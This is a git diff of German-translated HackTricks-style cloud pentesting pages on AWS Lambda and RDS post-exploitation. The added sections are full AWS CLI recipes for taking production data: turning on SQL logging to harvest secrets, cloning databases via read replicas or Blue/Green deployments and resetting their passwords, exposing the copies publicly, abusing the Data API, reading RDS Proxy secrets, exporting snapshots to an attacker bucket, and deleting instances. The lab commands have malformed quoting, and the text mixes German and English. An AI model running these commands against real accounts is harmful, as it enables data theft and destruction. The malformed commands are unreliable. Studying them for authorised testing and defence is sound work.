diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 2f5d2cf16..95afd2be4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,7 +4,7 @@ ## Lambda -Für weitere Informationen siehe: +For more information check: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,13 +12,13 @@ Für weitere Informationen siehe: ### Exfilrtate Lambda Credentials -Lambda verwendet Umgebungsvariablen, um zur Laufzeit credentials zu injizieren. Wenn Sie Zugriff auf diese erhalten (durch Lesen von `/proc/self/environ` oder durch Verwendung der verwundbaren Funktion selbst), können Sie sie selbst verwenden. Sie liegen in den Standard-Variablennamen `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, und `AWS_ACCESS_KEY_ID`. +Lambda verwendet Umgebungsvariablen, um Credentials zur Laufzeit zu injizieren. Wenn Sie Zugriff auf diese erhalten (durch Lesen von `/proc/self/environ` oder durch Verwendung der verwundbaren Funktion selbst), können Sie sie selbst nutzen. Sie befinden sich in den Standard-Variablennamen `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` und `AWS_ACCESS_KEY_ID`. -Standardmäßig haben diese Schreibzugriff auf eine CloudWatch log group (deren Name in `AWS_LAMBDA_LOG_GROUP_NAME` gespeichert ist) sowie das Recht, beliebige log groups zu erstellen; Lambda functions haben jedoch häufig zusätzliche Berechtigungen, die nach ihrem vorgesehenen Zweck zugewiesen sind. +By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use. ### Steal Others Lambda URL Requests -Wenn ein Angreifer es schafft, RCE innerhalb einer Lambda zu erlangen, kann er HTTP-Anfragen anderer Benutzer an die Lambda stehlen. Enthalten die Anfragen sensible Informationen (cookies, credentials...) kann er diese abfangen. +Wenn ein Angreifer es schafft, RCE in einer Lambda zu erlangen, kann er HTTP-Requests anderer Benutzer an die Lambda abgreifen. Enthalten die Requests sensible Informationen (Cookies, Zugangsdaten ...), kann er diese stehlen. {{#ref}} aws-warm-lambda-persistence.md @@ -26,7 +26,7 @@ aws-warm-lambda-persistence.md ### Steal Others Lambda URL Requests & Extensions Requests -Durch Missbrauch von Lambda Layers ist es außerdem möglich, extensions zu missbrauchen und Persistenz in der Lambda zu erreichen, sowie Anfragen zu stehlen und zu verändern. +Durch Missbrauch von Lambda Layers ist es außerdem möglich, Extensions zu missbrauchen und in der Lambda persistent zu bleiben, sowie Requests zu stehlen und zu verändern. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -34,7 +34,7 @@ Durch Missbrauch von Lambda Layers ist es außerdem möglich, extensions zu miss ### AWS Lambda – VPC Egress Bypass -Zwingen Sie eine Lambda-Funktion, eine eingeschränkte VPC zu verlassen, indem Sie ihre Konfiguration mit einer leeren VpcConfig aktualisieren (SubnetIds=[], SecurityGroupIds=[]). Die Funktion läuft dann im von Lambda verwalteten Netzwerkbereich und erlangt wieder ausgehenden Internetzugang, wodurch Egress-Kontrollen, die durch private VPC-Subnets ohne NAT durchgesetzt werden, umgangen werden. +Zwinge eine Lambda-Funktion aus einem eingeschränkten VPC, indem du ihre Konfiguration mit einer leeren VpcConfig aktualisierst (SubnetIds=[], SecurityGroupIds=[]). Die Funktion läuft dann im Lambda-verwalteten Netzwerkbereich, erlangt wieder ausgehenden Internetzugang und umgeht dadurch Egress-Kontrollen, die durch private VPC-Subnets ohne NAT durchgesetzt werden. {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Missbrauchen Sie `lambda:PutRuntimeManagementConfig`, um eine Funktion auf eine bestimmte Runtime-Version festzusetzen (Manual) oder Updates einzufrieren (FunctionUpdate). Dadurch bleibt die Kompatibilität mit bösartigen layers/wrappers erhalten und die Funktion kann auf einer veralteten, verwundbaren Runtime belassen werden, was Exploitation und langfristige Persistenz erleichtert. +Missbrauche `lambda:PutRuntimeManagementConfig`, um eine Funktion an eine bestimmte Runtime-Version zu binden (Manual) oder Updates einzufrieren (FunctionUpdate). Das bewahrt die Kompatibilität mit bösartigen Layers/Wrappers und kann die Funktion auf einer veralteten, verwundbaren Runtime halten, um Exploits und langfristige Persistenz zu erleichtern. {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Missbrauchen Sie die erweiterten Logging-Kontrollen von `lambda:UpdateFunctionConfiguration`, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs log group umzuleiten. Dies funktioniert ohne Code- oder Ausführungsrollen-Änderung (die meisten Lambda-Rollen beinhalten bereits `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Wenn die Funktion secrets/request bodies ausgibt oder mit Stack-Traces abstürzt, können Sie diese aus der neuen log group sammeln. +Missbrauche die erweiterten Logging-Kontrollen von `lambda:UpdateFunctionConfiguration`, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs log group umzuleiten. Das funktioniert ohne Code- oder Execution-Role-Änderungen (die meisten Lambda-Rollen beinhalten bereits `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Wenn die Funktion Secrets/Request-Bodies ausgibt oder mit Stacktraces abstürzt, kannst du diese aus der neuen Log-Gruppe sammeln. {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Machen Sie eine private Lambda Function URL zu einem öffentlichen, nicht authentifizierten Endpunkt, indem Sie den Function URL AuthType auf NONE setzen und eine resource-basierte Policy anhängen, die lambda:InvokeFunctionUrl für alle gewährt. Dadurch wird anonyme Invocation interner Funktionen ermöglicht und sensible Backend-Operationen können exponiert werden. +Mache eine private Lambda Function URL zu einem öffentlichen, unauthentifizierten Endpoint, indem du den Function URL AuthType auf NONE setzt und eine resource-based policy anhängst, die lambda:InvokeFunctionUrl für alle erlaubt. Dadurch wird anonyme Invocation interner Funktionen möglich und sensible Backend-Operationen können offengelegt werden. {{#ref}} aws-lambda-function-url-public-exposure.md @@ -66,7 +66,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Missbrauchen Sie `UpdateEventSourceMapping`, um die Ziel-Lambda-Funktion einer bestehenden Event Source Mapping (ESM) zu ändern, sodass Records von DynamoDB Streams, Kinesis, oder SQS an eine vom Angreifer kontrollierte Funktion geliefert werden. Dies leitet Live-Daten stillschweigend um, ohne Produzenten oder den ursprünglichen Funktionscode zu berühren. +Missbrauche `UpdateEventSourceMapping`, um das Ziel einer vorhandenen Event Source Mapping (ESM) zu ändern, sodass Datensätze aus DynamoDB Streams, Kinesis oder SQS an eine vom Angreifer kontrollierte Funktion geliefert werden. Dies leitet Live-Daten stillschweigend um, ohne Produzenten oder den ursprünglichen Funktionscode zu verändern. {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -74,7 +74,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -Missbrauchen Sie `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda anzuhängen, und deployen Sie dann trivialen Code, der Dateien aus dem gemounteten Pfad auflistet/liest, um gemeinsam genutzte secrets/config zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte. +Missbrauche `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda anzuhängen, und deploye dann trivialen Code, der Dateien vom gemounteten Pfad auflistet/liest, um geteilte Secrets/Configs zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte. {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index 1c0eb4c86..ddd24eeab 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - RDS Nachnutzung +# AWS - RDS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## RDS -Weitere Informationen: +Für weitere Informationen siehe: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ Weitere Informationen: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Wenn ein Angreifer über ausreichende Berechtigungen verfügt, kann er eine **DB öffentlich zugänglich** machen, indem er einen Snapshot der DB erstellt und daraus dann eine öffentlich zugängliche DB wiederherstellt. +Wenn ein Angreifer über ausreichende Berechtigungen verfügt, kann er eine **DB öffentlich zugänglich** machen, indem er einen Snapshot der DB erstellt und anschließend eine öffentlich zugängliche DB aus diesem Snapshot wiederherstellt. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Ein Angreifer mit diesen Berechtigungen könnte einen snapshot einer DB erstellen und diesen **öffentlich** **verfügbar** machen. Danach könnte er in seinem eigenen Konto einfach eine DB aus diesem snapshot erstellen. +Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **zugänglich** machen. Anschließend könnte er in seinem eigenen Konto einfach eine DB aus diesem Snapshot erstellen. -Wenn der Angreifer **nicht die `rds:CreateDBSnapshot`** hat, könnte er trotzdem **andere** erstellte snapshots **öffentlich** machen. +Wenn der Angreifer **nicht die `rds:CreateDBSnapshot`** hat, könnte er dennoch **andere** erstellte Snapshots **öffentlich** machen. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,48 +53,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Portionen der Logdateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert wurden, könnte der Angreifer diese Informationen nutzen, um seine Privilegien zu eskalieren oder unautorisierte Aktionen durchzuführen. +Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Portionen der log files einer RDS-Instance herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich in den log files protokolliert werden, könnte der Angreifer diese Informationen nutzen, um seine Privilegien zu eskalieren oder unautorisierte Aktionen durchzuführen. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Potenzielle Auswirkung**: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials. +**Mögliche Auswirkungen**: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials. ### `rds:DeleteDBInstance` -Ein Angreifer mit diesen Berechtigungen kann **einen DoS auf bestehende RDS-Instanzen durchführen**. +Ein Angreifer mit diesen Berechtigungen kann **DoS existing RDS instances**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Potentielle Auswirkung**: Löschung vorhandener RDS-Instanzen und möglicher Datenverlust. +**Potentielle Auswirkungen**: Löschung vorhandener RDS instances und möglicher Datenverlust. ### `rds:StartExportTask` > [!NOTE] -> TODO: Testen +> TODO: Test -Ein Angreifer mit dieser Berechtigung kann **einen RDS-Instance-Snapshot in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen. +Ein attacker mit dieser Berechtigung kann **export an RDS instance snapshot to an S3 bucket**. Wenn der attacker Kontrolle über das Ziel S3 bucket hat, sind sensible Daten im exportierten snapshot potenziell zugänglich. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Potentielle Auswirkungen**: Zugriff auf sensible Daten im exportierten Snapshot. +**Potential impact**: Zugriff auf sensible Daten in dem exportierten Snapshot. -### Cross-Region Automated Backups-Replikation für heimliche Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Cross-Region-Replikation automatisierter Backups für heimliche Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`) -Missbrauche die Cross-Region Automated Backups-Replikation, um die automatisierten Backups einer RDS-Instance stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann die wiederhergestellte DB anschließend öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des regulären Betriebs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen. +Missbrauche die Cross-Region-Replikation automatisierter Backups, um die automatisierten Backups einer RDS-Instanz stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann die wiederhergestellte DB dann öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Pfades auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen. -Erforderliche Berechtigungen (mindestens): +Permissions needed (minimum): - `rds:StartDBInstanceAutomatedBackupsReplication` in der Ziel-Region - `rds:DescribeDBInstanceAutomatedBackups` in der Ziel-Region - `rds:RestoreDBInstanceToPointInTime` in der Ziel-Region - `rds:ModifyDBInstance` in der Ziel-Region - `rds:StopDBInstanceAutomatedBackupsReplication` (optionale Bereinigung) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB zugänglich zu machen) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB öffentlich zugänglich zu machen) -Auswirkung: Persistenz und Datenexfiltration durch Wiederherstellen einer Kopie von Produktionsdaten in eine andere Region und öffentliches Freigeben mit vom Angreifer kontrollierten Zugangsdaten. +Impact: Persistenz und Datenexfiltration, indem eine Kopie von Produktionsdaten in einer anderen Region wiederhergestellt und diese mit vom Angreifer kontrollierten Zugangsdaten öffentlich zugänglich gemacht wird.
-End-to-end-CLI (Platzhalter ersetzen) +End-to-end CLI (Platzhalter ersetzen) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,4 +163,445 @@ aws rds stop-db-instance-automated-backups-replication \
+### Vollständiges SQL-Logging über DB-Parametergruppen aktivieren und über RDS-Log-APIs exfiltrieren + +Missbrauche `rds:ModifyDBParameterGroup` zusammen mit RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Anmeldedaten erforderlich). Aktiviere das Engine-SQL-Logging und lade die Logdateien via `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` (oder die REST-API `downloadCompleteLogFile`) herunter. Nützlich, um Abfragen zu sammeln, die Geheimnisse/PII/JWTs enthalten können. + +Benötigte Berechtigungen (mindestens): +- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` +- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` +- `rds:ModifyDBInstance` (nur zum Anhängen einer benutzerdefinierten Parametergruppe, falls die Instanz die Standardgruppe verwendet) +- `rds:RebootDBInstance` (für Parameter, die einen Reboot erfordern, z. B. PostgreSQL) + +Schritte +1) Recon: Ziel und aktuelle Parametergruppe +```bash +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ +--output table +``` +2) Stelle sicher, dass eine benutzerdefinierte DB-Parametergruppe angehängt ist (die Standardgruppe kann nicht bearbeitet werden) +- Wenn die Instanz bereits eine benutzerdefinierte Gruppe verwendet, verwende deren Namen im nächsten Schritt. +- Andernfalls erstelle und hänge eine an, die zur Engine-Familie passt: +```bash +# Example for PostgreSQL 16 +aws rds create-db-parameter-group \ +--db-parameter-group-name ht-logs-pg \ +--db-parameter-group-family postgres16 \ +--description "HT logging" + +aws rds modify-db-instance \ +--db-instance-identifier \ +--db-parameter-group-name ht-logs-pg \ +--apply-immediately +# Wait until status becomes "available" +``` +3) Detailliertes SQL-Logging aktivieren +- MySQL-Engines (sofort / kein Neustart): +```bash +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \ +"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate" +# Optional extras: +# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ +# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" +``` +- PostgreSQL engines (Neustart erforderlich): +```bash +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot" +# Optional to log duration for every statement: +# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot" + +# Reboot if any parameter is pending-reboot +aws rds reboot-db-instance --db-instance-identifier +``` +4) Die Workload laufen lassen (oder Abfragen generieren). SQL-Anweisungen werden in die Engine-Dateiprotokolle geschrieben +- MySQL: `general/mysql-general.log` +- PostgreSQL: `postgresql.log` + +5) Logs entdecken und herunterladen (keine DB-Zugangsdaten erforderlich) +```bash +aws rds describe-db-log-files --db-instance-identifier + +# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough: +aws rds download-db-log-file-portion \ +--db-instance-identifier \ +--log-file-name general/mysql-general.log \ +--starting-token 0 \ +--output text > dump.log +``` +6) Offline nach sensiblen Daten analysieren +```bash +grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head +``` +Beweismaterial (geschwärzt): +```text +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') +``` +Bereinigung +- Setze Parameter auf Standardwerte zurück und starte neu, falls erforderlich: +```bash +# MySQL +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate" + +# PostgreSQL +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" +# Reboot if pending-reboot +``` +Auswirkung: Post-exploitation Datenzugriff durch Erfassen aller application SQL statements über AWS APIs (keine DB creds), möglicherweise leaking von secrets, JWTs und PII. + +### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` + +RDS read replicas missbrauchen, um out-of-band read access zu erhalten, ohne die primary instance credentials zu berühren. Ein Angreifer kann von einer Produktionsinstanz eine read replica erstellen, das Master-Passwort der Replica zurücksetzen (dies ändert die Primary nicht) und optional die Replica öffentlich zugänglich machen, um Daten zu exfiltrieren. + +Erforderliche Berechtigungen (Minimum): +- `rds:DescribeDBInstances` +- `rds:CreateDBInstanceReadReplica` +- `rds:ModifyDBInstance` +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) + +Auswirkung: Read-only Zugriff auf Produktionsdaten über eine Replica mit vom Angreifer kontrollierten credentials; geringere Erkennungswahrscheinlichkeit, da die Primary unberührt bleibt und die Replikation fortläuft. +```bash +# 1) Recon: find non-Aurora sources with backups enabled +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \ +--output table + +# 2) Create a permissive SG (replace and ) +aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id --query GroupId --output text +aws ec2 authorize-security-group-ingress --group-id --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"","Description":"tester"}]}]' + +# 3) Create the read replica (optionally public) +aws rds create-db-instance-read-replica \ +--db-instance-identifier \ +--source-db-instance-identifier \ +--db-instance-class db.t3.medium \ +--publicly-accessible \ +--vpc-security-group-ids +aws rds wait db-instance-available --db-instance-identifier + +# 4) Reset ONLY the replica master password (primary unchanged) +aws rds modify-db-instance --db-instance-identifier --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately +aws rds wait db-instance-available --db-instance-identifier + +# 5) Connect and dump (use the SOURCE master username + NEW password) +REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier --query 'DBInstances[0].Endpoint.Address' --output text) +# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();' + +# Optional: promote for persistence +# aws rds promote-read-replica --db-instance-identifier +``` +Beispielbelege (MySQL): +- Replica-DB-Status: `available`, Lese-Replikation: `replicating` +- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die schreibgeschützten Zugriff auf die Replica bestätigt. + +### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` + +RDS Blue/Green missbrauchen, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte Green-Umgebung zu klonen. Anschließend die Green-Master-Zugangsdaten zurücksetzen, um auf die Daten zuzugreifen, ohne die Blue (prod)-Instanz anzufassen. Das ist unauffälliger als die Freigabe von Snapshots und umgeht oft Überwachung, die sich nur auf die Quelle konzentriert. +```bash +# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]' + +# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version + +# 2) Create Blue/Green deployment (replicates blue->green continuously) +aws rds create-blue-green-deployment \ +--blue-green-deployment-name ht-bgd-attack \ +--source \ +# Optional to upgrade: --target-engine-version + +# Wait until deployment Status becomes AVAILABLE, then note the green DB id +aws rds describe-blue-green-deployments \ +--blue-green-deployment-identifier \ +--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember' + +# Typical green id: -green-XXXX + +# 3) Reset the green master password (does not affect blue) +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Gr33n!Exfil#1' \ +--apply-immediately + +# Optional: expose the green for direct access (attach an SG that allows the DB port) +aws rds modify-db-instance \ +--db-instance-identifier \ +--publicly-accessible \ +--vpc-security-group-ids \ +--apply-immediately + +# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only) +aws rds describe-db-instances \ +--db-instance-identifier \ +--query 'DBInstances[0].Endpoint.Address' --output text + +# Then connect with the master username and the new password and run SELECT/dumps +# e.g. MySQL: mysql -h -u -p'Gr33n!Exfil#1' + +# 5) Cleanup – remove blue/green and the green resources +aws rds delete-blue-green-deployment \ +--blue-green-deployment-identifier \ +--delete-target true +``` +Impact: Nur-Lese, aber voller Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenausleitung und Offline-Analyse. + + +### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password + +Missbrauche Aurora, um das RDS Data API HTTP endpoint auf einem Ziel-Cluster zu aktivieren, das master password auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora-Engines, die die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen). + +Permissions (minimum): +- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) +- secretsmanager:CreateSecret +- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) + +Impact: Umgehung von Netzwerksegmentierung und Exfiltration von Daten über AWS APIs ohne direkte VPC-Konnektivität zur DB. + +
+End-to-end CLI (Aurora MySQL Beispiel) +```bash +# 1) Identify target cluster ARN +REGION=us-east-1 +CLUSTER_ID= +CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ +--db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].DBClusterArn' --output text) + +# 2) Enable Data API HTTP endpoint on the cluster +# Either of the following (depending on API/engine support): +aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN" +# or +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--enable-http-endpoint --apply-immediately + +# Wait until HttpEndpointEnabled is True +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].HttpEndpointEnabled' --output text + +# 3) Reset master password to attacker-controlled value +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--master-user-password 'Sup3rStr0ng!1' --apply-immediately +# Wait until pending password change is applied +while :; do +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text) +[[ "$P" == "None" || "$P" == "null" ]] && break +sleep 10 +done + +# 4) Create a Secrets Manager secret for Data API auth +SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \ +--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \ +--query ARN --output text) + +# 5) Prove out-of-band SQL via HTTPS using rds-data +# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly) +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \ +--format-records-as JSON +``` +
+ +Hinweise: +- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls. +- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn. +- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False. + + +### DB-Anmeldeinformationen via RDS Proxy auth secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) + +Missbrauche die RDS Proxy-Konfiguration, um das Secrets Manager secret zu finden, das für die Backend-Authentifizierung verwendet wird, und lese dieses secret aus, um Datenbank-Zugangsdaten zu erhalten. Viele Umgebungen gewähren weitreichende `secretsmanager:GetSecretValue`-Berechtigungen, was dies zu einem wenig aufwendigen Pivot zu DB-Zugangsdaten macht. Falls das secret eine CMK verwendet, können falsch konfigurierte KMS-Rechte auch `kms:Decrypt` erlauben. + +Benötigte Berechtigungen (mindestens): +- `rds:DescribeDBProxies` +- `secretsmanager:GetSecretValue` on the referenced SecretArn +- Optional when the secret uses a CMK: `kms:Decrypt` on that key + +Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement. + +Schritte +```bash +# 1) Enumerate proxies and extract the SecretArn used for auth +aws rds describe-db-proxies \ +--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \ +--output table + +# 2) Read the secret value (common over-permission) +aws secretsmanager get-secret-value \ +--secret-id \ +--query SecretString --output text +# Example output: {"username":"admin","password":"S3cr3t!"} +``` +Lab (minimal zur Reproduktion) +```bash +REGION=us-east-1 +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +SECRET_ARN=$(aws secretsmanager create-secret \ +--region $REGION --name rds/proxy/aurora-demo \ +--secret-string username:admin \ +--query ARN --output text) +aws iam create-role --role-name rds-proxy-secret-role \ +--assume-role-policy-document Version:2012-10-17 +aws iam attach-role-policy --role-name rds-proxy-secret-role \ +--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite +aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ +--auth [AuthScheme:SECRETS] \ +--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \ +--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text) +aws rds wait db-proxy-available --db-proxy-name p0 +# Now run the enumeration + secret read from the Steps above +``` +Aufräumen (Labor) 